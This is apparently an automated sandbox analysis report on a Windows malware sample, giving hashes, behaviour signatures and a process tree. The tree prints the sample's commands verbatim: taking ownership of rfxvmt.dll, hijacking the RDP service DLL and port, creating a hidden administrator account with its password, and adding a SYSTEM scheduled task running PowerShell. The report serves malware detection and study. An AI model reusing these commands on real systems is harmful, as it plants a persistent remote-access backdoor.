Analysis
-
max time kernel
131s -
max time network
77s -
platform
windows7_x64 -
resource
win7-20220414-en -
submitted
15-05-2022 21:36
Static task
static1
Behavioral task
behavioral1
Sample
dd3edd0a584fff1f7eadd86f868eeda95f05138caf70c5ba8d807af2f8390887.exe
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
dd3edd0a584fff1f7eadd86f868eeda95f05138caf70c5ba8d807af2f8390887.exe
Resource
win10v2004-20220414-en
General
-
Target
dd3edd0a584fff1f7eadd86f868eeda95f05138caf70c5ba8d807af2f8390887.exe
-
Size
2.9MB
-
MD5
69669d80ee67ca88c2c636c5f4e567ac
-
SHA1
7854501a76d59ad31844330782db017b2d8ea8a5
-
SHA256
dd3edd0a584fff1f7eadd86f868eeda95f05138caf70c5ba8d807af2f8390887
-
SHA512
024a27a001c18276c7e6863119d3fbe72eb7157be9142bca5e1b058e52abf61648251896460a1c43ac02a8bf790201a1ed770ae37b2d20e4e2f01f7d9319bf4c
Malware Config
Signatures
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Modifies RDP port number used by Windows 1 TTPs
-
Possible privilege escalation attempt 8 IoCs
Processes:
icacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exepid process 1060 icacls.exe 852 icacls.exe 1200 icacls.exe 432 icacls.exe 1504 icacls.exe 1440 takeown.exe 300 icacls.exe 1624 icacls.exe -
Sets DLL path for service in the registry 2 TTPs
-
Processes:
resource yara_rule \Windows\Help\tmp5212.dat upx -
Deletes itself 1 IoCs
Processes:
powershell.exepid process 1748 powershell.exe -
Loads dropped DLL 3 IoCs
Processes:
dd3edd0a584fff1f7eadd86f868eeda95f05138caf70c5ba8d807af2f8390887.exepid process 1592 dd3edd0a584fff1f7eadd86f868eeda95f05138caf70c5ba8d807af2f8390887.exe 752 752 -
Modifies file permissions 1 TTPs 8 IoCs
Processes:
icacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exepid process 1060 icacls.exe 852 icacls.exe 1200 icacls.exe 432 icacls.exe 1504 icacls.exe 1440 takeown.exe 300 icacls.exe 1624 icacls.exe -
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File created C:\Windows\system32\rfxvmt.dll powershell.exe -
Drops file in Windows directory 3 IoCs
Processes:
powershell.exedescription ioc process File created C:\Windows\help\tmp5211.dat powershell.exe File created C:\Windows\help\tmp5212.dat powershell.exe File created C:\Windows\help\tmp5213.dat powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies registry key 1 TTPs 1 IoCs
-
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepid process 1748 powershell.exe 1748 powershell.exe 1748 powershell.exe 1748 powershell.exe -
Suspicious behavior: LoadsDriver 3 IoCs
Processes:
pid process 752 752 752 -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exeicacls.exedescription pid process Token: SeDebugPrivilege 1748 powershell.exe Token: SeRestorePrivilege 1624 icacls.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
dd3edd0a584fff1f7eadd86f868eeda95f05138caf70c5ba8d807af2f8390887.execmd.exepowershell.exenet.execmd.exenet.execmd.exenet.execmd.exedescription pid process target process PID 1592 wrote to memory of 904 1592 dd3edd0a584fff1f7eadd86f868eeda95f05138caf70c5ba8d807af2f8390887.exe cmd.exe PID 1592 wrote to memory of 904 1592 dd3edd0a584fff1f7eadd86f868eeda95f05138caf70c5ba8d807af2f8390887.exe cmd.exe PID 1592 wrote to memory of 904 1592 dd3edd0a584fff1f7eadd86f868eeda95f05138caf70c5ba8d807af2f8390887.exe cmd.exe PID 1592 wrote to memory of 904 1592 dd3edd0a584fff1f7eadd86f868eeda95f05138caf70c5ba8d807af2f8390887.exe cmd.exe PID 904 wrote to memory of 1748 904 cmd.exe powershell.exe PID 904 wrote to memory of 1748 904 cmd.exe powershell.exe PID 904 wrote to memory of 1748 904 cmd.exe powershell.exe PID 1748 wrote to memory of 1440 1748 powershell.exe takeown.exe PID 1748 wrote to memory of 1440 1748 powershell.exe takeown.exe PID 1748 wrote to memory of 1440 1748 powershell.exe takeown.exe PID 1748 wrote to memory of 300 1748 powershell.exe icacls.exe PID 1748 wrote to memory of 300 1748 powershell.exe icacls.exe PID 1748 wrote to memory of 300 1748 powershell.exe icacls.exe PID 1748 wrote to memory of 1624 1748 powershell.exe icacls.exe PID 1748 wrote to memory of 1624 1748 powershell.exe icacls.exe PID 1748 wrote to memory of 1624 1748 powershell.exe icacls.exe PID 1748 wrote to memory of 1060 1748 powershell.exe icacls.exe PID 1748 wrote to memory of 1060 1748 powershell.exe icacls.exe PID 1748 wrote to memory of 1060 1748 powershell.exe icacls.exe PID 1748 wrote to memory of 852 1748 powershell.exe icacls.exe PID 1748 wrote to memory of 852 1748 powershell.exe icacls.exe PID 1748 wrote to memory of 852 1748 powershell.exe icacls.exe PID 1748 wrote to memory of 1200 1748 powershell.exe icacls.exe PID 1748 wrote to memory of 1200 1748 powershell.exe icacls.exe PID 1748 wrote to memory of 1200 1748 powershell.exe icacls.exe PID 1748 wrote to memory of 432 1748 powershell.exe icacls.exe PID 1748 wrote to memory of 432 1748 powershell.exe icacls.exe PID 1748 wrote to memory of 432 1748 powershell.exe icacls.exe PID 1748 wrote to memory of 1504 1748 powershell.exe icacls.exe PID 1748 wrote to memory of 1504 1748 powershell.exe icacls.exe PID 1748 wrote to memory of 1504 1748 powershell.exe icacls.exe PID 1748 wrote to memory of 1428 1748 powershell.exe reg.exe PID 1748 wrote to memory of 1428 1748 powershell.exe reg.exe PID 1748 wrote to memory of 1428 1748 powershell.exe reg.exe PID 1748 wrote to memory of 524 1748 powershell.exe reg.exe PID 1748 wrote to memory of 524 1748 powershell.exe reg.exe PID 1748 wrote to memory of 524 1748 powershell.exe reg.exe PID 1748 wrote to memory of 844 1748 powershell.exe net.exe PID 1748 wrote to memory of 844 1748 powershell.exe net.exe PID 1748 wrote to memory of 844 1748 powershell.exe net.exe PID 844 wrote to memory of 1268 844 net.exe net1.exe PID 844 wrote to memory of 1268 844 net.exe net1.exe PID 844 wrote to memory of 1268 844 net.exe net1.exe PID 1748 wrote to memory of 1640 1748 powershell.exe cmd.exe PID 1748 wrote to memory of 1640 1748 powershell.exe cmd.exe PID 1748 wrote to memory of 1640 1748 powershell.exe cmd.exe PID 1748 wrote to memory of 1776 1748 powershell.exe cmd.exe PID 1748 wrote to memory of 1776 1748 powershell.exe cmd.exe PID 1748 wrote to memory of 1776 1748 powershell.exe cmd.exe PID 1564 wrote to memory of 908 1564 cmd.exe net.exe PID 1564 wrote to memory of 908 1564 cmd.exe net.exe PID 1564 wrote to memory of 908 1564 cmd.exe net.exe PID 908 wrote to memory of 1592 908 net.exe net1.exe PID 908 wrote to memory of 1592 908 net.exe net1.exe PID 908 wrote to memory of 1592 908 net.exe net1.exe PID 1548 wrote to memory of 1240 1548 cmd.exe net.exe PID 1548 wrote to memory of 1240 1548 cmd.exe net.exe PID 1548 wrote to memory of 1240 1548 cmd.exe net.exe PID 1240 wrote to memory of 2004 1240 net.exe net1.exe PID 1240 wrote to memory of 2004 1240 net.exe net1.exe PID 1240 wrote to memory of 2004 1240 net.exe net1.exe PID 1296 wrote to memory of 1624 1296 cmd.exe net.exe PID 1296 wrote to memory of 1624 1296 cmd.exe net.exe PID 1296 wrote to memory of 1624 1296 cmd.exe net.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\dd3edd0a584fff1f7eadd86f868eeda95f05138caf70c5ba8d807af2f8390887.exe"C:\Users\Admin\AppData\Local\Temp\dd3edd0a584fff1f7eadd86f868eeda95f05138caf70c5ba8d807af2f8390887.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /C powershell -ExecutionPolicy Bypass -f C:\Users\Admin\AppData\Local\Temp\TWUCSTRVZCTWUCSTRVZCTWUCSTRVZC.ps12⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -f C:\Users\Admin\AppData\Local\Temp\TWUCSTRVZCTWUCSTRVZCTWUCSTRVZC.ps13⤵
- Deletes itself
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f4⤵
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d %SystemRoot%\help\tmp5211.dat /f4⤵
- Modifies registry key
-
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add5⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f4⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f4⤵
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc YX0KncSp /add1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc YX0KncSp /add2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc YX0KncSp /add3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WYZSGDWS$ /ADD1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WYZSGDWS$ /ADD2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WYZSGDWS$ /ADD3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc YX0KncSp1⤵
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc YX0KncSp2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc YX0KncSp3⤵
-
C:\Windows\System32\cmd.execmd /C schtasks /create /tn 27093 /tr "powershell -nop -ep bypass -f c:\windows\help\10298.ps1" /ru system /sc hourly /mo 11⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn 27093 /tr "powershell -nop -ep bypass -f c:\windows\help\10298.ps1" /ru system /sc hourly /mo 12⤵
- Creates scheduled task(s)
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\TWUCSTRVZCTWUCSTRVZCTWUCSTRVZC.ps1Filesize
3.5MB
MD567e1452131ae07c4b67762d3c302f52b
SHA1d6329ac864341d9dd86ff9032df8912ec8c44c8b
SHA2566416923da618a13311012632be2aa383a711c84ee182670e663e4bd8c6464950
SHA512013ee8398189be291970c431be6cab9597e9c3650be44c8842bafeb90e2ac84dc720daf82f24bf67bab4564272fcb34db76b352923697095f9e4b9ed2a553280
-
C:\Users\Admin\AppData\Local\Temp\changes_7521tg.txtFilesize
102B
MD55afcf6a1a129fe00bfc44dd97cf04d11
SHA11c91511094c9829b4c97c5c5551d83362ca1d6eb
SHA25616764136d98f9c29fc110ae4844da6cc1ccef58689c78b7e5863a9b15b773c92
SHA512ea3105e6c2c6ef1e9f737d84efaa5be32938e56c7c9b0197e6bd474cc70c7cd8a5263f79118d229f2ed5a8e8adfb124f8ef43398f37c5e53f8540b2452dd4cc7
-
C:\Windows\system32\rfxvmt.dllFilesize
40KB
MD5dc39d23e4c0e681fad7a3e1342a2843c
SHA158fd7d50c2dca464a128f5e0435d6f0515e62073
SHA2566d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9
SHA5125cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7
-
\??\PIPE\lsarpcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
\??\PIPE\samrMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
\Users\Admin\AppData\Local\Temp\nsd456.tmp\System.dllFilesize
11KB
MD5fbe295e5a1acfbd0a6271898f885fe6a
SHA1d6d205922e61635472efb13c2bb92c9ac6cb96da
SHA256a1390a78533c47e55cc364e97af431117126d04a7faed49390210ea3e89dd0e1
SHA5122cb596971e504eaf1ce8e3f09719ebfb3f6234cea5ca7b0d33ec7500832ff4b97ec2bbe15a1fbf7e6a5b02c59db824092b9562cd8991f4d027feab6fd3177b06
-
\Windows\Help\tmp5211.datFilesize
120KB
MD59a5f1af394cdad5ca5000dc87b664017
SHA197ccaa9535d3f2a0ed259e91b3bb4e7417d50863
SHA256e004b95ba76b4fad388fad96714bf95cd6f2ce8fa3b262d63bf25749dbea8b10
SHA512cc48689ef61b5474291f5a6ac298d30a696950acfffe8208d8965ba7e85cce96b575ebdf0b59d0b764bb35b05404c9a74434eb9b24cd244125a194a02f5dd67a
-
\Windows\Help\tmp5212.datFilesize
783KB
MD59790f9fecc9bf0b6cac0dd2ea51214b8
SHA1257b5af37b30ee374ada8e1a7a4259c5a87503bc
SHA25640c7851445ab77275378d31090f155d856982b0d98c5c2990fbd1b708a371d30
SHA512c8ef15aaabea3a2abfefa3a2bee0d349740009d9f3fcd0ffe145f2004f63dfedaff177c279bba4101f2e9d86944f6b4a371bbc080fa718a28e42be7578bd3bc6
-
memory/300-66-0x0000000000000000-mapping.dmp
-
memory/432-71-0x0000000000000000-mapping.dmp
-
memory/524-74-0x0000000000000000-mapping.dmp
-
memory/844-75-0x0000000000000000-mapping.dmp
-
memory/852-69-0x0000000000000000-mapping.dmp
-
memory/904-56-0x0000000000000000-mapping.dmp
-
memory/908-82-0x0000000000000000-mapping.dmp
-
memory/1060-68-0x0000000000000000-mapping.dmp
-
memory/1148-87-0x0000000000000000-mapping.dmp
-
memory/1200-70-0x0000000000000000-mapping.dmp
-
memory/1228-93-0x0000000000000000-mapping.dmp
-
memory/1240-84-0x0000000000000000-mapping.dmp
-
memory/1268-76-0x0000000000000000-mapping.dmp
-
memory/1268-94-0x0000000000000000-mapping.dmp
-
memory/1428-73-0x0000000000000000-mapping.dmp
-
memory/1440-64-0x0000000000000000-mapping.dmp
-
memory/1504-72-0x0000000000000000-mapping.dmp
-
memory/1584-90-0x0000000000000000-mapping.dmp
-
memory/1592-83-0x0000000000000000-mapping.dmp
-
memory/1592-54-0x0000000075581000-0x0000000075583000-memory.dmpFilesize
8KB
-
memory/1624-86-0x0000000000000000-mapping.dmp
-
memory/1624-67-0x0000000000000000-mapping.dmp
-
memory/1640-80-0x0000000000000000-mapping.dmp
-
memory/1684-89-0x0000000000000000-mapping.dmp
-
memory/1748-60-0x000000001B6E0000-0x000000001B9DF000-memory.dmpFilesize
3.0MB
-
memory/1748-59-0x000007FEF35D0000-0x000007FEF412D000-memory.dmpFilesize
11.4MB
-
memory/1748-61-0x00000000026C4000-0x00000000026C7000-memory.dmpFilesize
12KB
-
memory/1748-58-0x000007FEFBD01000-0x000007FEFBD03000-memory.dmpFilesize
8KB
-
memory/1748-57-0x0000000000000000-mapping.dmp
-
memory/1748-63-0x00000000026CB000-0x00000000026EA000-memory.dmpFilesize
124KB
-
memory/1776-81-0x0000000000000000-mapping.dmp
-
memory/1988-92-0x0000000000000000-mapping.dmp
-
memory/2004-85-0x0000000000000000-mapping.dmp